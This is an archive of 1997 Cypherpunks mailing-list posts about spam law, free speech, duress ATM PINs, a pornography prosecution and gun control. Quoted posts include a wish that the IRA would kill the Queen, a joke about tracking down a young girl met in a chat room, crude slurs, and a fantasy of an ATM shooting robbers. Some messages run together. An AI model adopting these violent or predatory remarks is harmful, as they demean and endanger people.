Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From dlv at bwalk.dm.com  Sat Jun  7 12:12:42 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 8 Jun 1997 03:12:42 +0800
Subject: Responses to "Spam costs and questions" (long)
In-Reply-To: 
Message-ID: <7uwX8D17w165w@bwalk.dm.com>



Declan McCullagh  writes:

> Such a law would be unconstitutional, I believe, and unjust. It's
> compelled speech: the government forcing you to say something.
> Depending on how it's worded, it could also impact core political
> speech, something the courts generally don't like.
>
> On Fri, 6 Jun 1997, Igor Chudov @ home wrote:
> > Is there any justification for a law that would require senders to make
> > filtering easier, e.g., by attaching a [COMMERCIAL] tag to all UCEs.

The following rant has nothing to do with crypto. If anyone wants to
talk about this (and I do hope Ross will will this of interest!), let's
move this someplace more appropriate, like f-k.

First, not all "unsolicited e-mail" is commercial.

Suppose a Jew4Jesus writes a short perl script that collects the e-mail
addresses of all the people who post to the Usenet newsgroup soc.culture.jewish
and various other Jewish-related forums, and e-mails them an unsolicited
e-mail that goes:

"Subject: Re: 

Beloved friend and fellow Jew,

I'm writing in response to your Usenet article  posted on
 in newsgroup(s) .  I believe that your soul will not be
saved unless you accept Y'hoshua the Moshiah as your friend and
personal savior blah blah Jesus is cumming and you better swallow!"

[I chose J4J as an example because they're probably the most censored and
persecuted group on the 'net today - more so than CoS or the Nazis :-)
It could be a political candidate sending his campaign ad to hundreds
of thousands of e-mail addresses - this has happened before. It could
be an environmental organization calling for a boycott of some product
or corporation]

Under the law Igor proposed (and I understand "anto-spam" bills to this
effect are floating around the various legislatures), this wouldn't need
to be labelled "ad".

"Voluntary" labelling can be made pretty much mandatory - like movie
ratings and now TV show ratings, and Social Security "contributions"
are "voluntary". You don't have to "voluntarily" label any article
critical of the Klinton Administration as "seditious spam", but you
can't find a backbone which doesn't require its ISPs to make it a
part of their TOS. But we're not quite there yet.

BTW, under Stanford Wallace's TOS, if the J4J neglected to run his mailing
list through Stanford's "scrub" database, removing the addresses that don't
want "bulk" e-mail, the poor J4J would probably be spanked hard.

(See WWW.IEMMC.ORG. I'm not sure if this is right either.)

Of course some people make a point of refusing to put their addresses
on the "scrub" list, and then bitching when they get bulk e-mail,
vecause they want all bulk e-mail to stop. Bulk e-mail professionals
have their own blacklist of people who bitch, and try not to e-mail
them even without their "remove" request. :-)

Then again, what constitutes "bulk"? Suppose the J4J sent a single unsolicited
prozelityzing e-mail to a single soc.culture.jewish poster, who goes
ballistic. Or suppose the J4J posted a prozelityzing article in
soc.culture.jewish, and someone sent him an e-mail in response, saying "Fuck
you, hazer, please refrain from sliming s.c.j with your xian propaganda".

"Harrassment" is a content-based judgment call, as is "commercial
advertisement". Would a more polite request to "stay away from our Jewish
newsgroup, please" be more kosher? Is it acceptable for a "politically
correct" homosexual to send hate e-mail to the posters on
alt.fan.rush-limbaugh with specific criticisms of their articles?

Yes, the only honorable response to speech you don't like
is to ignore it or to respond with more speech. Is it acceptable
to send an e-mail flame directly to a poster in a moderated newsgroup
if the flame has no chance of being approved by the moderator?
(No, because there aren't any moderated newsgroups anymore :-)

When an e-mail address is publicized (e.g. by posting to Usenet, or by
having it mentioned in a Web page), it will get "unsolicited" e-mail from
strangers - hopefully not "harrassing". A way out of it is to install
filters that separate "stranger" e-mail from the e-mail from known parties.

E.g., I might create a file that contained keywords that are of
interest to me - names of friends, words like "crypto" or "freedom knights".
Then I could have .procmailrc invoke grep, and if none of the keywords
matched, put the e-mail in a special folder that I'd check once a week
before emptying. (I could do the same with pure .procmailrc I suppose.)
Anyway, I'm not doing this yet, but I think this is our future.

By the way, today's address harvesters do much more than grep usenet
headers for addresses for indiscriminate bulk e-mail.

They not only go through Usenet articles and clean up the usual
"anti-spam" manglings in the headers and bodies.  They also crawl
through Web pages, collecting everything that looks like e-mail
addresses; they monitor IRC and collect e-mail addresses. They
monitor mailing lists to the point of asking the listserv/majordomo
for the list of lists it carries, then asking it for the list
of subscribers to each list.

Also instead of just building the biggest possible list of e-mail
addresses, they build a targeted database, keeping track where a
particular e-mail address was found. Suppose a person subscribes
to a "porsche owners" mailing list, and goes to an investment-
related channel on one of the IRC servers. In no time he'll be
getting "junk e-mail" related to the interests he expressed -
possibly even saying "I'm writing you because I saw you on the
#invest channel on Tuesday, and I want to tell you about this
hot new penny stock"

These programs, vastly more sophisticated than the bulk mail of
even a year ago, which just collected e-mail addresses from Usenet
and e-mail them all indiscriminately, will drive the latter out.
Why bother, when you can pay a very reasonable fee to a service
bureau that will deliver your ad to an audeince that a) doesn't
object to bulk e-mail, b) is bigger than what you would have
gathered with primitive grep-like tools.

Left to itself, the market will stabilize and the occasional unsolicited
bulk e-mail will be even less of a nuisance than it is now.

[One good use for UBE: suppose you've foolishly subscribed to an
ISP like IDT - the crooks that provide shitty service and make it
very hard to cancel - they just keep billing your credit card.
One sure way to terminate one's account is to use it to "spam"
Usenet or to send out a mass e-mail objecting to IDT's lousy
service and content censorship.]

Fuck the Usenet Cabal!

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From ravage at einstein.ssz.com  Sat Jun  7 12:13:57 1997
From: ravage at einstein.ssz.com (Jim Choate)
Date: Sun, 8 Jun 1997 03:13:57 +0800
Subject: SSZ status (fwd)
Message-ID: <199706071838.NAA00235@einstein.ssz.com>



Forwarded message:
>From ravage at ssz.com Sat Jun  7 13:38:49 1997
From: Jim Choate 
Message-Id: <199706071838.NAA00222 at einstein.ssz.com>
Subject: SSZ status
To: users at ssz.com (SSZ User Mail List)
Date: Sat, 7 Jun 1997 13:38:47 -0500 (CDT)
X-Mailer: ELM [version 2.4 PL23]
Content-Type: text
Content-Length: 962       


Hi,

The initial hardware upgrade went without a hitch. No additional downtime is
expected today. We will let the system run until tomorrow afternoon before
deciding on the need for further tweaking.


   _______________________________________________________________________
  |                                                                       |
  |            Speak the truth, but leave immediately after.              |
  |                                                                       |
  |                                     Slovenian Proverb                 |
  |                                                                       |
  |     Jim Choate                                 ravage at ssz.com         |
  |     The Armadillo Group                        www.ssz.com            |
  |     Austin, Texas, USA                         512-451-7087           |
  |_______________________________________________________________________|






From gbroiles at netbox.com  Sat Jun  7 12:26:32 1997
From: gbroiles at netbox.com (Greg Broiles)
Date: Sun, 8 Jun 1997 03:26:32 +0800
Subject: Another prosecution/ruling re Thomases/Amateur Action
Message-ID: <3.0.2.32.19970607122209.00774494@postoffice.pacbell.net>




List members may be familiar with the prosecution of Robert Thomas, a Bay
Area man who runs (ran?) a BBS entitled "Amateur Action", which provided,
via modem and mail order, pornographic images to its customers. 

Robert Thomas was arrested in California, then prosecuted in and imprisoned
by a federal district court in Tennessee based on Tennessee community
standards for the material he made available from California; apparently
that prosecution centered on one or more pictures involving sex between
human(s) and animals. 

Subsequently, he was indicted by a federal grand jury in Utah for
distribution of child pornography; he moved to dismiss that second
prosecution on the grounds of double jeopardy and collateral estoppel. His
motion was denied, and he subsequently plead guilty to a single count and
was sentenced to 26 months' imprisonment. He appealed the denial of his
motions to dismiss, and was unsuccessful; the Tenth Circuit ruled that the
constitution's protection against double jeopardy and the doctrine of
collateral estoppel were not applicable because the two prosecutions
involved two different charges (obscenity in TN and child porn in UT) and
different findings of fact.

He also requested that his sentence be reduced to end at the time his
sentence ends in for the TN prosecution, but his request was denied and the
appeals court declined to modify the trial court's sentence. 

The text of the appellate court's ruling is at

, I
have mirrored it at . 


--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles at netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 






From kent at songbird.com  Sat Jun  7 12:55:25 1997
From: kent at songbird.com (Kent Crispin)
Date: Sun, 8 Jun 1997 03:55:25 +0800
Subject: Responses to "Spam costs and questions" (long)
In-Reply-To: 
Message-ID: <19970607124001.37225@bywater.songbird.com>



On Sat, Jun 07, 1997 at 01:53:05PM -0500, Dr.Dimitri Vulis KOTM wrote:
> Declan McCullagh  writes:
[...]
> 
> Yes, the only honorable response to speech you don't like
> is to ignore it or to respond with more speech. 

Quite so.  The issue, then, is "what is speech".  I put a 190 db 
megaphone next to your head and scream into it, and your eardrums 
rupture and the blood flows, that's arguably not speech.

I would argue that in order for something to fall under the absolute 
protections free speech it has to meet certain characteristics -- it 
can't lead to direct bodily harm, or property damage, or any other 
kind of "damage" that is legally defined.

So the question of free speech is really, when you think about it, a 
question about what legally constitutes "damage".

In the internet context, then, activities that cause any reasonable 
definition of "damage" could be controlled, under the "non-aggression 
principle" if nothing else.

I think a reasonable definition of damage in an internet context is 
"excess interference with other transmission" (for some values of 
excess). 

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html






From dlv at bwalk.dm.com  Sat Jun  7 13:00:45 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 8 Jun 1997 04:00:45 +0800
Subject: Responses to "Spam costs and questions" (long)
In-Reply-To: <199706071754.MAA01524@manifold.algebra.com>
Message-ID: <8TZX8D18w165w@bwalk.dm.com>



ichudov at algebra.com (Igor Chudov @ home) writes:
> There is a lot of commercial compelled speech. For example,
> mutual funds must say that past performance is not a guarantee
> of future results.
>
> Do you find this kind of compelled speech unconstitutional?

(Is Black Unicorn reading this?)

The purpose of the securities laws is not to protect the small investor
(who gets fucked very thoroughly, thank you :-) but the large financial
services firms with political connections.

For example the requirement to put out the red herring for a non-trivial
IPO is there not to protect the investors who buy in on the IPO, but to
ensure that the syndicate that underwrites the IPO gets their 2+%.

Ditto for the entire legal framework, including the U.S. Constitution and
any other country's legal framework - its goal is to protect the
(economic) interests of the ruling class, and whatever serves those
interests is "constitutional". Inasmuch as free speech on the Internet
threatens the murderous fascist dictatorship in Washington, DC, any
restrictions on free speech are therefore "constitutional".

You remind me, Igor, of a recent story I read in a paper which I already
threw away, so I'll reconstruct it from memory, probably with mistakes:

* a few folks from Long Island, not NASD registered,published an "investment
  advice" newsletter, distributed over the Internet and fax. Subscriptions
  cost >$1K/year. It was called something like "The Small-Cap Equity
  Speculator" (not exactly, my apologies, but "speculation" was definitely
  in the title)

* Among the many penny stocks they discussed was some kind of a motorcycle
  manufacturer, whose name I forgot too. The newsletter recommended a buy
  based on their fundamentals analysis and potential sales.

* Some of the folks who published the newsletter had a long position in
  the stock, which they apparently bought months before the recommendation
  for (gasp) $2,000 (two thousand dollars).

* The newsletter had a disclaimer that the authors may hold positions in
  the stocks they're discussing [surprise!]

* The motorcycle stock fell in price, and the readers who bet on it lost money
  - as did, I presume, the newsletter publishers.  Some readers complained to
  the SEC, who's now trying to jail/fine the newsletter publishers.

* I no longer have the paper, and it wasn't terribly clear, but it sounded
  like SEC was unhappy that
   a) they were trying to drive up the price of the stock they were long
      (with the intent to sell? :-)
   b) they incorrectly analyzed the fundamentals and were wrong to
      recommend a buy when the price in fact failed to go up
      (The sales were like 10% of what they hoped for)
  [Now if every amateur investment analyst who fucked up went to jail...]

If this is true (and I may be missing important details), then why are these
unfortunates any less worthy of our support than, say, Jim Bell? :-)

Remind me some time to tell you in private e-mail of a few cases I witnessed
when large, politically connected financial services firms engaged in conduct
that would have landed you or me in jail - and it happens all the time.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From dlv at bwalk.dm.com  Sat Jun  7 13:26:42 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 8 Jun 1997 04:26:42 +0800
Subject: Responses to "Spam costs and questions" (long)
In-Reply-To: <19970607124001.37225@bywater.songbird.com>
Message-ID: <362X8D19w165w@bwalk.dm.com>



Kent Crispin  writes:
> On Sat, Jun 07, 1997 at 01:53:05PM -0500, Dr.Dimitri Vulis KOTM wrote:
> > Declan McCullagh  writes:
> [...]
> >
> > Yes, the only honorable response to speech you don't like
> > is to ignore it or to respond with more speech.
>
> Quite so.  The issue, then, is "what is speech".  I put a 190 db
> megaphone next to your head and scream into it, and your eardrums
> rupture and the blood flows, that's arguably not speech.

Recall also how a few months ago Declan compared me to a loud drunk
in a bar who was drowning out all other patrons with noise, so
they couldn't talk there and had to toss me out.

Fortunately, neither of your analogies can happen on the Internet.

> I would argue that in order for something to fall under the absolute
> protections free speech it has to meet certain characteristics -- it
> can't lead to direct bodily harm, or property damage, or any other
> kind of "damage" that is legally defined.
>
> So the question of free speech is really, when you think about it, a
> question about what legally constitutes "damage".
>
> In the internet context, then, activities that cause any reasonable
> definition of "damage" could be controlled, under the "non-aggression
> principle" if nothing else.
>
> I think a reasonable definition of damage in an internet context is
> "excess interference with other transmission" (for some values of
> excess).

Suppose I post an article on alt.fan.rush-limbaugh making fun of the
"feminazis" [this is a hypo - I can't stand Rush] and one of those
feminazis sends me hate e-mail in response, opining that people like
me deserve to have their balls cut off with rusty scissors.  Suppose
her e-mail inflicts such a severe psychological trauma on me that I can't
get my dick up.  Can I, my wife, and my 2 girlfriends sue the
feminazi for damages?  How many girlfriends do I need to have
to make this a class action suit?

Suppose I have a virus on my computer which counts the number of
e-mails I receive and when it reaches 100, formats the hard disk.
Suppose the feminazi's e-mail happens to be #100, and triggers
the bomb. Is the poor feminazi responsible for the "damages"?
Suppose her little e-mail just happens to be the one that gets
my little 2GB hard disk full, causing the next incoming e-mail
to be lost. Is she responsible for that too?

In the Internet context, as you put it, if one can be "damaged"
by the speech, it's the listener's problem, not the speaker's.

One can set up one's mailbox to receive e-mail from only a given
list of senders.  One can even have no incoming mailbox (like
the noted Usenet personality Archimedes Plutonium).

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From wombat at mcfeely.bsfs.org  Sat Jun  7 13:52:08 1997
From: wombat at mcfeely.bsfs.org (Rabid Wombat)
Date: Sun, 8 Jun 1997 04:52:08 +0800
Subject: TV Commercial
In-Reply-To: 
Message-ID: 





On Fri, 6 Jun 1997, Bill Frantz wrote:

> At 12:34 AM -0700 6/6/97, David Lucas wrote:
> >It's a nice thought, but the image is all wrong. Two ships communicating
> >via Aldis lamps (presumably, I haven't seen the ad) using Morse at a guess,
> >isn't what I would call very secure communication.
> 
> Well, the Japanese managed to keep secure communications when sneeking up
> on Pearl Harbor, and I assume they used something similar for ship-to-ship
> communications.  Narrow beam, and everyone who can receive is in sight is
> nice.
> 

Did they? This is a matter of some debate ...

-r.w.






From wombat at mcfeely.bsfs.org  Sat Jun  7 13:56:58 1997
From: wombat at mcfeely.bsfs.org (Rabid Wombat)
Date: Sun, 8 Jun 1997 04:56:58 +0800
Subject: Steak Knife Decryption
In-Reply-To: <199706070521.WAA11195@netcom11.netcom.com>
Message-ID: 





On Fri, 6 Jun 1997, Mike Duvos wrote:

> An interesting twist on rubber hose decryption in the case of the
> murder of Jonathan Levin, son of the top executive of media
> giant Time Warner.
> 
> Police believe his ATM card was stolen, and he was then jabbed
> with a steak knife until he revealed the PIN.
> 

A "duress" PIN which cancels the account would be a good addition; 
similar to the "duress" code on home security systems that appear to 
disarm the alarm but send a silent alarm to the monitoring station.

-r.w.






From root at iguana.be  Sat Jun  7 14:13:01 1997
From: root at iguana.be (Kris Carlier)
Date: Sun, 8 Jun 1997 05:13:01 +0800
Subject: [CONTROVERSIAL]: A Defense of Terrorism
In-Reply-To: 
Message-ID: 



High Paul,

On Fri, 6 Jun 1997, Paul Bradley wrote:

> How long have you been on this list? Clearly not long enough.

I've not been long enough on this list for what ? Don't know about you,
but imvho violence is not a right solution. I will never be long enough on
this list to change my mind on that.
 
> Tims post made a good point, people soon forget the causes of conflict 
> and only see the effects, today, hardly anyone in the UK sees the IRA as 
> an organisation devoted to liberating NI, merely a bunch of thugs. Of 
> course they have brought this on themselves by indiscriminately blowing 
> things up. Talking of which the Queen is visiting Hastings (a town about 

I must admit that it has helped quite a lot, those bombs. Expecially for
the building sector. 

> 5 miles from me) today, I hope the IRA blow her up...

How much must you hate someone to wish him/her dead ? Have you ever been
'contronted' with dead, Paul ? Someone of your friends, relatives, ... who
died, perhaps ? How can you wish some other human being the same ? 
What if the IRA would blow up the queen ? I guess Charles is the next to
step on then ? What a progress !!

Havalook at Kongo: Mobutu has gone. Much better now ! After several
thousands were killed, the new president gives his first orders: "women
should not wear tight shirts anymore (I thought they were supposed to take
them off, but...) nor should they act in a sensual way.

Right, violence is at least A solution. But for what ?
BTW, I'd be very interested if you would care telling something more about
Northern Ireland. That's where you live I guess ? Are you "Catholic" or
"Protestant" ?

kr=

                   \\\___///
                  \\  - -  //
                   (  @ @  )
 +---------------oOOo-(_)-oOOo-------------+
 |     kris carlier - carlier at iguana.be    |
 | Hiroshima 45, Tsjernobyl 86, Windows 95 |
 | Linux, the choice of a GNU gener8ion    |
 |            SMS: +32-75-61.43.05         |
 +------------------------Oooo-------------+
                  oooO   (   )
                 (   )    ) /
                  \ (    (_/
                   \_)









From paul at fatmans.demon.co.uk  Sat Jun  7 14:51:14 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Sun, 8 Jun 1997 05:51:14 +0800
Subject: UK cryptography list
Message-ID: 




After much playing with majordomo I have decided to create a UK 
cryptography list, I intend the list to focus on UK cryptography
research, law, activism, announcements of conferences/meetings etc...

The list is being hosted on fatmans.demon.co.uk, which is served by a 
dial up connection, so message latency will be around 12 hours on 
average, but I do not see this as a problem as I imagine list traffic
will not be very high.

Of course, the list will be open for anyone to subscribe whether in the 
UK or not, and it will be totally unmoderated (with the exception of 
majordomos command filter which sends posts containing the string 
"subscribe" to the list owner instead of the list).

To subscribe to the list send email to majordomo at fatmans.demon.co.uk with 
the string "subscribe crypto" in the message body.

        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"







From nobody at huge.cajones.com  Sat Jun  7 15:33:24 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Sun, 8 Jun 1997 06:33:24 +0800
Subject: Tim C. Stalker
Message-ID: <199706072221.PAA03680@fat.doobie.com>



Tim May wrote:
> Soon we'll be able to have true "stalker's pages," with links to home
> addresss and zipcode data bases.
> 
> (And when I find some young nymphette in one of the chat groups, I'll be
> able to click on her name and call up all the relevant information to allow
> me to go visit her! We'll have a grand time...or at least I will.)
> 
> --Jack D. Ripper

  I set up a "spoof" of the anonymizer page where it says "Click here
to find out what we know about you." 
Message-ID: <199706072240.RAA03045@manifold.algebra.com>



Dr.Dimitri Vulis KOTM wrote:
> ichudov at algebra.com (Igor Chudov @ home) writes:
> > There is a lot of commercial compelled speech. For example,
> > mutual funds must say that past performance is not a guarantee
> > of future results.
> >
> > Do you find this kind of compelled speech unconstitutional?
> 
> (Is Black Unicorn reading this?)
> 
> The purpose of the securities laws is not to protect the small investor
> (who gets fucked very thoroughly, thank you :-) but the large financial
> services firms with political connections.
> 
> For example the requirement to put out the red herring for a non-trivial
> IPO is there not to protect the investors who buy in on the IPO, but to
> ensure that the syndicate that underwrites the IPO gets their 2+%.

Actually, if I am not mistaken, the big securities houses like JP Morgan
objected very loudly when SEC was created in 1930s. They have probably 
adapted to the situation and manage to make a profit, but they probably 
adapt again if the regulations went away.

> Ditto for the entire legal framework, including the U.S. Constitution and
> any other country's legal framework - its goal is to protect the
> (economic) interests of the ruling class, and whatever serves those
> interests is "constitutional". Inasmuch as free speech on the Internet

And so what follows from this statement?

> threatens the murderous fascist dictatorship in Washington, DC, any
> restrictions on free speech are therefore "constitutional".
> 
> You remind me, Igor, of a recent story I read in a paper which I already
> threw away, so I'll reconstruct it from memory, probably with mistakes:
> 
> * a few folks from Long Island, not NASD registered,published an "investment
>   advice" newsletter, distributed over the Internet and fax. Subscriptions
>   cost >$1K/year. It was called something like "The Small-Cap Equity
>   Speculator" (not exactly, my apologies, but "speculation" was definitely
>   in the title)
> 
> * Among the many penny stocks they discussed was some kind of a motorcycle
>   manufacturer, whose name I forgot too. The newsletter recommended a buy
>   based on their fundamentals analysis and potential sales.
> 
> * Some of the folks who published the newsletter had a long position in
>   the stock, which they apparently bought months before the recommendation
>   for (gasp) $2,000 (two thousand dollars).
> 
> * The newsletter had a disclaimer that the authors may hold positions in
>   the stocks they're discussing [surprise!]
> 
> * The motorcycle stock fell in price, and the readers who bet on it lost money
>   - as did, I presume, the newsletter publishers.  Some readers complained to
>   the SEC, who's now trying to jail/fine the newsletter publishers.
> 
> * I no longer have the paper, and it wasn't terribly clear, but it sounded
>   like SEC was unhappy that
>    a) they were trying to drive up the price of the stock they were long
>       (with the intent to sell? :-)
>    b) they incorrectly analyzed the fundamentals and were wrong to
>       recommend a buy when the price in fact failed to go up
>       (The sales were like 10% of what they hoped for)
>   [Now if every amateur investment analyst who fucked up went to jail...]

... Or a mature analyst. Anyway, almost all of them fuck up.

There could be something else involved in that story, as it sounds, there
is little to prosecute these guys for, as far as I understand.

> If this is true (and I may be missing important details), then why are these
> unfortunates any less worthy of our support than, say, Jim Bell? :-)
> 
> Remind me some time to tell you in private e-mail of a few cases I witnessed
> when large, politically connected financial services firms engaged in conduct
> that would have landed you or me in jail - and it happens all the time.

I am interested.

	- Igor.






From ravage at EINSTEIN.ssz.com  Sat Jun  7 16:05:23 1997
From: ravage at EINSTEIN.ssz.com (Jim Choate)
Date: Sun, 8 Jun 1997 07:05:23 +0800
Subject: Test [List Operator Reply Only]
Message-ID: <199706072229.RAA01059@einstein.ssz.com>



Hi,

This is a test.

List operators only please reply.

   _______________________________________________________________________
  |                                                                       |
  |            Speak the truth, but leave immediately after.              |
  |                                                                       |
  |                                     Slovenian Proverb                 |
  |                                                                       |
  |     Jim Choate                                 ravage at ssz.com         |
  |     The Armadillo Group                        www.ssz.com            |
  |     Austin, Texas, USA                         512-451-7087           |
  |_______________________________________________________________________|






From ichudov at Algebra.COM  Sat Jun  7 16:13:26 1997
From: ichudov at Algebra.COM (Igor Chudov @ home)
Date: Sun, 8 Jun 1997 07:13:26 +0800
Subject: Test [List Operator Reply Only]
In-Reply-To: <199706072229.RAA01059@einstein.ssz.com>
Message-ID: <199706072302.SAA00318@manifold.algebra.com>



bzzzzzzzzzzzzzzz
Jim Choate wrote:
> 
> 
> Hi,
> 
> This is a test.
> 
> List operators only please reply.
> 
>    _______________________________________________________________________
>   |                                                                       |
>   |            Speak the truth, but leave immediately after.              |
>   |                                                                       |
>   |                                     Slovenian Proverb                 |
>   |                                                                       |
>   |     Jim Choate                                 ravage at ssz.com         |
>   |     The Armadillo Group                        www.ssz.com            |
>   |     Austin, Texas, USA                         512-451-7087           |
>   |_______________________________________________________________________|
> 



	- Igor.






From nobody at hidden.net  Sat Jun  7 16:51:48 1997
From: nobody at hidden.net (Anonymous)
Date: Sun, 8 Jun 1997 07:51:48 +0800
Subject: Stats on the lists
Message-ID: <199706072342.QAA17818@jefferson.hidden.net>



Someone said a while ago that they were working on a list stats generator
that makes a summary of what messages were on one feed and not another,
how fast each feed ran, and so on. Is there any news on this?
thanks







From rachel at intertrader.com  Sat Jun  7 16:58:54 1997
From: rachel at intertrader.com (Rachel Willmer)
Date: Sun, 8 Jun 1997 07:58:54 +0800
Subject: UK cryptography list
In-Reply-To: 
Message-ID: <3.0.1.32.19970608005010.006ae988@mail.intertrader.com>



At 21:46 07/06/97 +0000, Paul Bradley wrote:
>
>After much playing with majordomo I have decided to create a UK 
>cryptography list, I intend the list to focus on UK cryptography
>research, law, activism, announcements of conferences/meetings etc...

Are you familiar with the  list, which covers
this field rather well already? 

I think it's a majordomo server, so a mail to majordomo at maillist.ox.ac.uk
with the body text "subscribe ukcrypto" would get you in...

Regards
Rachel


--
Rachel Willmer, Intertrader Ltd, 4 John's Place, Edinburgh, UK
    T: +44 131 555 8450    F: +44 131 555 8451

Authors of  "Digital Money Online" report







From kent at songbird.com  Sat Jun  7 18:05:32 1997
From: kent at songbird.com (Kent Crispin)
Date: Sun, 8 Jun 1997 09:05:32 +0800
Subject: Test [List Operator Reply Only]
In-Reply-To: <199706072229.RAA01059@einstein.ssz.com>
Message-ID: <19970607175546.46608@bywater.songbird.com>



On Sat, Jun 07, 1997 at 05:29:42PM -0500, Jim Choate wrote:
> Hi,
> 
> This is a test.
> 
> List operators only please reply.
> 
>    _______________________________________________________________________
>   |            Speak the truth, but leave immediately after.              |
>   |                                     Slovenian Proverb                 |
>   |     Jim Choate                                 ravage at ssz.com         |
>   |     The Armadillo Group                        www.ssz.com            |
>   |     Austin, Texas, USA                         512-451-7087           |
>   |_______________________________________________________________________|

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html






From eric at clever.net  Sat Jun  7 18:50:09 1997
From: eric at clever.net (Cyberdog)
Date: Sun, 8 Jun 1997 09:50:09 +0800
Subject: Steak Knife Decryption
In-Reply-To: <199706070521.WAA11195@netcom11.netcom.com>
Message-ID: 



>On Fri, 6 Jun 1997, Mike Duvos wrote:
>
>> An interesting twist on rubber hose decryption in the case of the
>> murder of Jonathan Levin, son of the top executive of media
>> giant Time Warner.
>>
>> Police believe his ATM card was stolen, and he was then jabbed
>> with a steak knife until he revealed the PIN.
>>
>
>A "duress" PIN which cancels the account would be a good addition;
>similar to the "duress" code on home security systems that appear to
>disarm the alarm but send a silent alarm to the monitoring station.
>
>-r.w.

I would want my account to remain active but instruct the machine to
dispense marked cash in case I'm outside in the trunk.

----
Survivalmonger









From shamrock at netcom.com  Sat Jun  7 19:04:07 1997
From: shamrock at netcom.com (Lucky Green)
Date: Sun, 8 Jun 1997 10:04:07 +0800
Subject: Steak Knife Decryption
In-Reply-To: <199706070544.AAA00172@manifold.algebra.com>
Message-ID: <3.0.2.32.19970607185143.0075b154@netcom13.netcom.com>



At 02:22 PM 6/7/97 GMT, Brian Lane wrote:
>  I don't think there is any strategy in being robbed, only survuval.
>Levin commited a grave mistake. Revealing his background to his class
>was a very stupid move.

Had the victim carried a firearm, his chances of survival would have
improved dramatically.

Gun control kills kids (and adults),


--Lucky Green  PGP encrypted mail preferred.

  Put a stake through the heart of DES! Join the quest at
  http://www.frii.com/~rcv/deschall.htm






From nobody at huge.cajones.com  Sat Jun  7 20:53:55 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Sun, 8 Jun 1997 11:53:55 +0800
Subject: Steak Knife Decryption
Message-ID: <199706080347.UAA12102@fat.doobie.com>



Rabid Wombat wrote:
>A "duress" PIN which cancels the account would be a good addition; 
>similar to the "duress" code on home security systems that appear to 
>disarm the alarm but send a silent alarm to the monitoring station.
>
>-r.w.

Sure.  Could also have marked bills coated with staining UV flourescent
powder preloaded for just such an occasion.  Optionally, depending on the
location of the ATM, emergency lockdown features preventing the guy from
bugging out.  Easy enough to do....






From lawchek at softcell.net  Sun Jun  8 12:36:08 1997
From: lawchek at softcell.net (lawchek at softcell.net)
Date: Sun, 8 Jun 1997 12:36:08 -0700 (PDT)
Subject: Invitation To The Electronic Academy Of Law
Message-ID: 


The Electronic Academy of Law                                              
                       INVITATION TO THE ELECTRONIC ACADEMY OF LAW
                               //HTTP://www.Lawchek.com/academy.htm

You are cordially invited to be inducted into the electronic Academy of Law
(eAL), developed for lawyers who recognize the value of legal electronic
media. In addition to your personal profile listing, free legal software and web
site information is included in your membership. Further information can be
found at our web site located at http://www.Lawchek.com/academy.htm






From nexus at eskimo.com  Sat Jun  7 22:00:47 1997
From: nexus at eskimo.com (Brian Lane)
Date: Sun, 8 Jun 1997 13:00:47 +0800
Subject: Steak Knife Decryption
In-Reply-To: <199706070521.WAA11195@netcom11.netcom.com>
Message-ID: <339a38b3.40212914@mail.eskimo.com>



-----BEGIN PGP SIGNED MESSAGE-----

On Sat, 7 Jun 1997 21:42:55 -0400, you wrote:

>>On Fri, 6 Jun 1997, Mike Duvos wrote:
>>
>>> An interesting twist on rubber hose decryption in the case of the
>>> murder of Jonathan Levin, son of the top executive of media
>>> giant Time Warner.
>>>
>>> Police believe his ATM card was stolen, and he was then jabbed
>>> with a steak knife until he revealed the PIN.
>>>
>>
>>A "duress" PIN which cancels the account would be a good addition;
>>similar to the "duress" code on home security systems that appear to
>>disarm the alarm but send a silent alarm to the monitoring station.
>>
>>-r.w.
>
>I would want my account to remain active but instruct the machine to
>dispense marked cash in case I'm outside in the trunk.

  I definitely would not want an emergency PIN to fail to dispense
cash,
unless it dispensed some 00 buckshot. Now that's a thought. Enter the
PIN
number backwards and you get a shotgun blast to the chest.

  A Good Idea(tm) would be to have a reversed PIN number red flag the
ATM and
alert the police (as well as forward the videotape to the proper
authorities).

  A gun would have been a good idea for Levin to own, but probably
would not
have helped him since it was a student that he knew and trusted. He
probably
didn't feel threatened until it was too late for him.

  Also, if the card was one of the Visa Debit cards (or even a real
visa card
for that matter) there are tons of places that it can be used without
entering
a PIN number or submitting to an ID check. Grocery stores and gas
stations are
two examples, although you cannot get cash from anywhere without using
the PIN
number (that I know of).

  Brian

-----BEGIN PGP SIGNATURE-----
Version: 5.0 beta
Charset: noconv

iQCVAwUBM5o6gqQxGtxXsXypAQEVBQP/TywTLzu93EScpUsvRuExNuVTSTCi4E5K
4Um3i4fqMN1hYdq0kBKLq5iVzbd4nWnGcglbSqVkMzaZc6Hlh8A4zupH8UXiQxR2
